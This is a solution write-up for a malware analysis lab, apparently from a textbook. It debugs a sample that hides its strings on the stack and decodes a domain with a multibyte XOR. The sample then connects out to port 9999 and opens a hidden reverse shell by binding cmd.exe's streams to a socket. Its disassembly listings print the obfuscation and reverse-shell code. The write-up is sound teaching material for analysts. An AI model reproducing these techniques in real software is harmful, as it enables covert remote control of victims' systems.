Lab 9-2 Solutions

Short Answers

  1. The imports and the string cmd are the only interesting strings that appear statically in the binary.

  2. It terminates without doing much.

  3. Rename the file ocl.exe before you run it.

  4. A string is being built on the stack, which is used by attackers to obfuscate strings from simple strings utilities and basic static analysis techniques.

  5. The string 1qaz2wsx3edc and a pointer to a buffer of data are passed to subroutine 0x401089.

  6. The malware uses the domain practicalmalwareanalysis.com.

  7. The malware will XOR the encoded DNS name with the string 1qaz2wsx3edc to decode the domain name.

  8. The malware is setting the stdout, stderr, and stdin handles (used in the STARTUPINFO structure of CreateProcessA) to the socket. Since CreateProcessA is called with cmd as an argument, this will create a reverse shell by tying the command shell to the socket.

Detailed Analysis

We will use dynamic analysis and OllyDbg to analyze this piece of malware in order to determine its functionality. But before we get into debugging, let’s begin by running Strings on the binary. We see the imports and the string cmd. Next, we’ll simply run the binary to see if anything interesting happens.

Based on the process launch and exit in Process Explorer, the process seems to terminate almost immediately. We are definitely going to need to debug this piece to see what’s going on.

When we load the binary into IDA Pro, we see the main function begins at 0x401128. OllyDbg will break at the entry point of the application, but the entry point contains a lot of uninteresting code generated by the compiler, so we’ll set a software breakpoint on main, since we want to focus on it.

Decoding Stack-Formed Strings

If we click the Run button, we hit the first breakpoint at main. The first thing to notice is a large series of mov instructions moving single bytes into local variables beginning at , as shown in Example C-14.

Example C-14. Building an ASCII string on the stack, one character at a time

00401128         push    ebp
00401129         mov     ebp, esp
0040112B         sub     esp, 304h
00401131         push    esi
00401132         push    edi
00401133         mov     [ebp+var_1B0], 31h 
0040113A         mov     [ebp+var_1AF], 71h
00401141         mov     [ebp+var_1AE], 61h
00401148         mov     [ebp+var_1AD], 7Ah
0040114F         mov     [ebp+var_1AC], 32h
00401156         mov     [ebp+var_1AB], 77h
0040115D         mov     [ebp+var_1AA], 73h
00401164         mov     [ebp+var_1A9], 78h
0040116B         mov     [ebp+var_1A8], 33h
00401172         mov     [ebp+var_1A7], 65h
00401179         mov     [ebp+var_1A6], 64h
00401180         mov     [ebp+var_1A5], 63h
00401187         mov     [ebp+var_1A4], 0 
0040118E         mov     [ebp+Str1], 6Fh
00401195         mov     [ebp+var_19F], 63h
0040119C         mov     [ebp+var_19E], 6Ch
004011A3         mov     [ebp+var_19D], 2Eh
004011AA         mov     [ebp+var_19C], 65h
004011B1         mov     [ebp+var_19B], 78h
004011B8         mov     [ebp+var_19A], 65h
004011BF         mov     [ebp+var_199], 0 

This code builds two ASCII strings by moving each character onto the stack followed by NULL terminators at and , which is a popular method for string obfuscation. The obfuscated strings will be referenced by the first variable of the string, which will give us the full NULL-terminated ASCII string. We single-step over these moves to look for signs of these strings being created on the stack in the lower-right pane. We stop executing at 0x4011C6, right-click EBP, and select Follow in Dump. By scrolling up to the first string [EBP-1B0], we can see the string 1qaz2wsx3edc being created. The second string is created at [EBP-1A0] and named ocl.exe.

Filename Check

After these strings are created, we can see a call to GetModuleFileNameA in Example C-15 at , and then a function call within the Lab09-02.exe malware to 0x401550. If we try to analyze this function in OllyDbg, we’ll find that it’s rather complicated. If we examine it in IDA Pro, we’ll see that it is the C runtime library function _strrchr. OllyDbg missed this due to the lack of symbol support. If we load the binary into IDA Pro, we can let IDA Pro use its FLIRT signature detection to correctly identify these APIs, as shown as shown at .

Example C-15. IDA Pro labels strrchr properly, but OllyDbg does not.

00401208     call    ds:GetModuleFileNameA 
0040120E     push    5Ch         ; Ch
00401210     lea     ecx, [ebp+Str]
00401216     push    ecx         ; Str
00401217     call    _strrchr 

Let’s verify this by setting a breakpoint on the call at 0x401217. We can see two arguments being pushed on the stack. The first is a forward slash, and the second is the value being returned from the GetModuleFileNameA call, which would be the current name of the executable. The malware is searching backward for a forward slash (0x5C character) in an attempt to get the name (rather than the full path) of the executable being executed. If we step-over the call to _strrchr, we can see that EAX is pointing to the string Lab09-02.exe.

The next function call (0x4014C0) reveals a situation similar to _strrchr. IDA Pro identifies this function as _strcmp, as shown in Example C-16.

Example C-16. IDA Pro labels strcmp properly, but OllyDbg does not.

0040121F     mov     [ebp+Str2], eax
00401222     mov     edx, [ebp+Str2]
00401225     add     edx, 1 
00401228     mov     [ebp+Str2], edx
0040122B     mov     eax, [ebp+Str2]
0040122E     push    eax         ; Str2
0040122F     lea     ecx, [ebp+Str1]
00401235     push    ecx         ; Str1
00401236     call    _strcmp

We’ll determine which strings are being compared by setting a breakpoint on the call to _strcmp at 0x401236. Once our breakpoint is hit, we can see the two strings being sent to the _strcmp call. The first is the pointer to the GetModuleFileNameA call (incremented by one at to account for the forward slash), and the other is ocl.exe (our decoded string from earlier). If the strings match, EAX should contain 0, the test eax,eax will set the zero flag to true, and execution will then go to 0x40124C. If the condition is false, it looks like the program will exit, which explains why the malware terminated when we tried to execute it earlier. The malware must be named ocl.exe in order to properly execute.

Let’s rename the binary ocl.exe and set a breakpoint at 0x40124C. If our analysis is correct, the malware should not exit, and our breakpoint will be hit. Success! Our breakpoint was hit, and we can continue our analysis in OllyDbg.

Decoding XOR Encoded Strings

WSAStartup and WSASocket are imported, so we can assume some networking functionality is going to be taking place. The next major function call is at 0x4012BD to the function 0x401089. Let’s set a breakpoint at 0x401089 and inspect the stack for the arguments to this function call.

The two arguments being passed to this function are a stack buffer (encoded string) and the string 1qaz2wsx3edc (key string). We step-into the function and step to the call at 0x401440, which passes the key string to strlen. It returns 0xC and moves it into [EBP-104]. Next, [EBP-108] is initialized to 0. OllyDbg has noted a loop in progress, which makes sense since [EBP-108] is a counter that is incremented at 0x4010DA and compared to 0x20 at 0x4010E3. As the loop continues to execute, we see our key string going through an idiv and mov instruction sequence, as shown Example C-17.

Example C-17. String decoding functionality

004010E3     cmp     [ebp+var_108], 20h
004010EA     jge     short loc_40111D 
004010EC     mov     edx, [ebp+arg_4]
004010EF     add     edx, [ebp+var_108]
004010F5     movsx   ecx, byte ptr [edx]
004010F8     mov     eax, [ebp+var_108]
004010FE     cdq
004010FF     idiv    [ebp+var_104]
00401105     mov     eax, [ebp+Str]
00401108     movsx   edx, byte ptr [eax+edx] 
0040110C     xor     ecx, edx 
0040110E     mov     eax, [ebp+var_108]
00401114     mov     [ebp+eax+var_100], cl
0040111B     jmp     short loc_4010D4

This is getting an index into the string. Notice the use of EDX after the idiv instruction at , which is using modulo to allow the malware to loop over the string in case the encoded string length is longer than our key string. We then see an interesting XOR at .

If we set a breakpoint at 0x4010F5, we can see which value is being pointed to by EDX and being moved into ECX, which will tell us the value that is getting XOR’ed later in the function. When we click Follow in Dump on EDX, we see that this is a pointer to the first argument to this function call (encoded string). ECX will contain 0x46, which is the first byte in the encoded string. We set a breakpoint at to see what is being XOR’ed on the first iteration through the loop. We see that EDX will contain 0x31 (first byte of key string), and we again see that ECX will contain 0x46.

Let’s execute the loop a few more times and try to make sense of the string being decoded. After clicking play a few more times, we can see the string www.prac. This could be the start of a domain that the malware is trying to communicate with. Let’s continue until var_108 ([EBP-108], our counter variable) equals 0x20. Once the jge short 0x40111D at is taken, the final string placed into EAX is www.practicalmalwareanalysis.com (which happens to be of length 0x20), and the function will then return to the main function. This function decoded the string www.practicalmalwareanalysis.com by using a multibyte XOR loop of the string 1qaz2wsx3edc.

Back in the main function, we see EAX being passed to a gethostbyname call. This value will return an IP address, which will populate the sockaddr_in structure.

Next, we see a call to ntohs with an argument of 0x270f, or 9999 in decimal. This argument is moved into a sockaddr_in structure along with 0x2, which represents AF_INET (the code for Internet sockets) in the sockaddr_in structure. The next call will connect the malware to www.practicalmalwareanalysis.com on TCP port 9999. If the connection succeeds, the malware will continue executing until 0x40137A. If it fails, the malware will sleep for 30 seconds, go back to the beginning of the main function, and repeat the process again. We can use Netcat and ApateDNS to fool the malware into connecting back to an IP we control.

If we step-into the function call made at 0x4013a9 (step-into 0x401000), we see two function calls to 0x4013E0. Again, this is another example where OllyDbg does not identify a system call of memset, whereas IDA Pro does identify the function. Next, we see a call to CreateProcessA at 0x40106E, as shown in Example C-18. Before the call, some structure is being populated. We’ll turn to IDA Pro to shed some light on what’s going on here.

Reverse Shell Analysis

This appears to be a reverse shell, created using a method that’s popular among malware authors. In this method, the STARTUPINFO structure that is passed to CreateProcessA is manipulated. CreateProcessA is called, and it runs cmd.exe with its window suppressed, so that it isn’t visible to the user under attack. Before the call to CreateProcessA, a socket is created and a connection is established to a remote server. That socket is tied to the standard streams (stdin, stdout, and stderr) for cmd.exe.

Example C-18 shows this method of reverse shell creation in action.

Example C-18. Creating a reverse shell using CreateProcessA and the STARTUPINFO structure

0040103B     mov     [ebp+StartupInfo.wShowWindow], SW_HIDE 
00401041     mov     edx, [ebp+Socket]
00401044     mov     [ebp+StartupInfo.hStdInput], edx 
00401047     mov     eax, [ebp+StartupInfo.hStdInput]
0040104A     mov     [ebp+StartupInfo.hStdError], eax 
0040104D     mov     ecx, [ebp+StartupInfo.hStdError]
00401050     mov     [ebp+StartupInfo.hStdOutput], ecx 
00401053     lea     edx, [ebp+ProcessInformation]
00401056     push    edx         ; lpProcessInformation
00401057     lea     eax, [ebp+StartupInfo]
0040105A     push    eax         ; lpStartupInfo
0040105B     push    0           ; lpCurrentDirectory
0040105D     push    0           ; lpEnvironment
0040105F     push    0           ; dwCreationFlags
00401061     push    1           ; bInheritHandles
00401063     push    0           ; lpThreadAttributes
00401065     push    0           ; lpProcessAttributes
00401067     push    offset CommandLine ; "cmd" 
0040106C     push    0           ; lpApplicationName
0040106E     call    ds:CreateProcessA

The STARTUPINFO structure is manipulated, and then parameters are passed to CreateProcessA. We see that CreateProcessA is going to run cmd.exe because it is passed as a parameter at . The wShowWindow member of the structure is set to SW_HIDE at , which will hide cmd.exe’s window when it is launched. At , , and , we see that the standard streams in the STARTUPINFO structure are set to the socket. This directly ties the standard streams to the socket for cmd.exe, so when it is launched, all of the data that comes over the socket will be sent to cmd.exe, and all output generated by cmd.exe will be sent over the socket.

In summary, we determined that this malware is a simple reverse shell with obfuscated strings that must be renamed ocl.exe before it can be run successfully. The strings are obfuscated using the stack and a multibyte XOR. In Chapter 13, we will cover data-encoding techniques like this in more detail.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset